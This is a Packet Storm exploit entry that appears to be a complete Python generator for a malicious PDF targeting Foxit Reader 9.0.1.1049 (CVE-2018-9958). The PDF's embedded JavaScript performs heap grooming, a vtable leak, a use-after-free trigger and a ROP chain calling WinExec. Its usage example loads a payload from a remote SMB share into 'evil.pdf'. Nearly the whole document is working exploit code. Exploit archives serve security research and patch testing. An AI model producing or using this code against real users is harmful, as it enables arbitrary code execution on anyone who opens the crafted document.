Lucene search

K
packetstormCrossWirePACKETSTORM:160240
HistoryNov 26, 2020 - 12:00 a.m.

Foxit Reader 9.0.1.1049 Arbitrary Code Execution

2020-11-2600:00:00
CrossWire
packetstormsecurity.com
357

0.815 High

EPSS

Percentile

98.4%

`# Exploit Title: Foxit Reader 9.0.1.1049 - Arbitrary Code Execution  
# Date: August 29, 2020  
# Exploit Author: CrossWire  
# Vendor Homepage: https://www.foxitsoftware.com/  
# Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English  
# Version: 9.0.1.1049  
# Tested on: Microsoft Windows Server 2016 10.0.14393  
# CVE : [2018-9958](https://nvd.nist.gov/vuln/detail/CVE-2018-9958)  
  
#!/usr/bin/python3  
  
'''  
===========================================================================  
| PDF generator for Foxit Reader Remote Code Execution (CVE 2018-9958) |   
===========================================================================  
| Written by: Kevin Dorland (CrossWire) |  
| Date: 08/29/2020 |  
| |  
| Exploit originally discovered by Steven Seeley (mr_me) of Source Incite |  
| |  
| References: |  
| https://www.exploit-db.com/exploits/44941 (Steven Seely Calc.exe PoC) |  
| https://www.exploit-db.com/exploits/45269 (Metasploit adaptation) |  
| |  
===========================================================================  
'''  
  
  
PDF_TEMPLATE = '''  
%PDF  
1 0 obj  
<</Pages 1 0 R /OpenAction 2 0 R>>  
2 0 obj  
<</S /JavaScript /JS (  
  
var heap_ptr = 0;  
var foxit_base = 0;  
var pwn_array = [];  
  
function prepare_heap(size){  
var arr = new Array(size);  
for(var i = 0; i < size; i++){  
arr[i] = this.addAnnot({type: "Text"});;  
if (typeof arr[i] == "object"){  
arr[i].destroy();  
}  
}  
}  
  
function gc() {  
const maxMallocBytes = 128 * 0x100000;  
for (var i = 0; i < 3; i++) {  
var x = new ArrayBuffer(maxMallocBytes);  
}  
}  
  
function alloc_at_leak(){  
for (var i = 0; i < 0x64; i++){  
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));  
}  
}  
  
function control_memory(){  
for (var i = 0; i < 0x64; i++){  
for (var j = 0; j < pwn_array[i].length; j++){  
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4  
}  
}  
}  
  
function leak_vtable(){  
var a = this.addAnnot({type: "Text"});  
  
a.destroy();  
gc();  
  
prepare_heap(0x400);  
var test = new ArrayBuffer(0x60);  
var stolen = new Int32Array(test);  
  
var leaked = stolen[0] & 0xffff0000;  
foxit_base = leaked - 0x01f50000;  
}  
  
function leak_heap_chunk(){  
var a = this.addAnnot({type: "Text"});  
a.destroy();  
prepare_heap(0x400);  
  
var test = new ArrayBuffer(0x60);  
var stolen = new Int32Array(test);  
  
alloc_at_leak();  
heap_ptr = stolen[1];  
}  
  
function reclaim(){  
var arr = new Array(0x10);  
for (var i = 0; i < arr.length; i++) {  
arr[i] = new ArrayBuffer(0x60);  
var rop = new Int32Array(arr[i]);  
  
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak  
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret  
rop[0x02] = 0x72727272; // junk  
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret  
rop[0x04] = 0xffffffff; // ret of WinExec  
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret  
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec  
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret  
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret  
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret  
rop[0x0a] = foxit_base + 0x0041c6ca; // ret  
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret  
  
//Path to executable  
  
<PATH TO EXECUTABLE>  
  
//End Path to executable  
  
rop[0x17] = 0x00000000; // adios, amigo  
}  
}  
  
function trigger_uaf(){  
var that = this;  
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});  
var arr = [1];  
Object.defineProperties(arr,{  
"0":{  
get: function () {  
  
that.getAnnot(0, "uaf").destroy();  
  
reclaim();  
return 1;  
}  
}  
});  
  
a.point = arr;  
}  
  
function main(){  
leak_heap_chunk();  
leak_vtable();  
control_memory();  
trigger_uaf();  
}  
  
if (app.platform == "WIN"){  
if (app.isFoxit == "Foxit Reader"){  
if (app.appFoxitVersion == "9.0.1.1049"){  
main();  
}  
}  
}  
  
)>> trailer <</Root 1 0 R>>  
'''  
  
import sys  
  
#Enforces 2 hex char byte notation. "0" becomes "0x00"  
def format_byte(b):  
  
if (len(b) > 2) and (b[0:2] == '0x'):  
b = b[2:]  
  
if len(b) == 1:  
b = '0' + b  
  
return '0x' + b  
  
def char2hex(c):  
return format_byte(hex(ord(c)))  
  
#Converts file path into array of eleven 32-bit hex words  
def path_to_machine_code(path,little_endian = True):  
  
print("[+] Encoding Path:",path)  
  
#ensure length  
if len(path) > 44:  
print("[CRITICAL] Path length greater than 44 characters (bytes). Aborting!")  
exit(-1)  
  
#Copy path into 4 character (32 bit) words (max 11)  
word_array = []  
for i in range(11):  
  
word = ''  
  
if len(path):  
word += path[0:4] if len(path) >= 4 else path  
path = path[len(word):]  
  
if len(word) < 4:  
word += chr(0) * (4 - len(word))  
  
word_array.append(word)  
  
#Convert chars to hex values and format to "0xAABBCCDD" notation  
hex_array = []  
for word in word_array:  
  
#Reverse byte order to fit little endian standard  
if(little_endian): word = word[::-1]  
  
#Write bytes to hex strings  
hex_string = '0x'  
for char in word:  
hex_string += char2hex(char)[2:] #strip the 0x off the byte here  
  
hex_array.append(hex_string)  
  
return hex_array  
  
#writes encoded path to rop array to match template  
def create_rop(hex_arr, start_index = '0c'):  
  
ord_array = []  
  
index = int(start_index,16)  
  
for instruction in hex_arr:  
  
full_instruction = f"\trop[{format_byte(hex(index))}] = {instruction};"  
  
ord_array.append(full_instruction)  
  
index += 1  
  
return ('\n'.join(ord_array))  
  
  
  
if __name__ == '__main__':  
  
if len(sys.argv) != 3:  
print(f"USAGE: {sys.argv[0]} <path to executable> <pdf filename>")  
print("-- EXAMPLES --")  
print(f"{sys.argv[0]} \\\\192.168.0.1\\exploits\\bad.exe evil.pdf")  
  
exit(-1)  
  
#Parse user args  
EXE_PATH = sys.argv[1]   
PDF_PATH = sys.argv[2]  
  
#Generate hex  
raw_hex = path_to_machine_code(EXE_PATH)  
  
print("[+] Machine Code:")  
for hex_word in raw_hex:  
print(hex_word)  
  
ord_string = create_rop(raw_hex)  
  
print("[+] Instructions to add:")  
print(ord_string)  
  
print("[+] Generating pdf...")  
  
print("\t- Filling template...")  
evil_pdf = PDF_TEMPLATE.replace('<PATH TO EXECUTABLE>',ord_string)  
  
print("\t- Writing file...")  
with open(PDF_PATH,'w') as fd:  
fd.write(evil_pdf)  
  
print("[+] Generated pdf:",PDF_PATH)  
`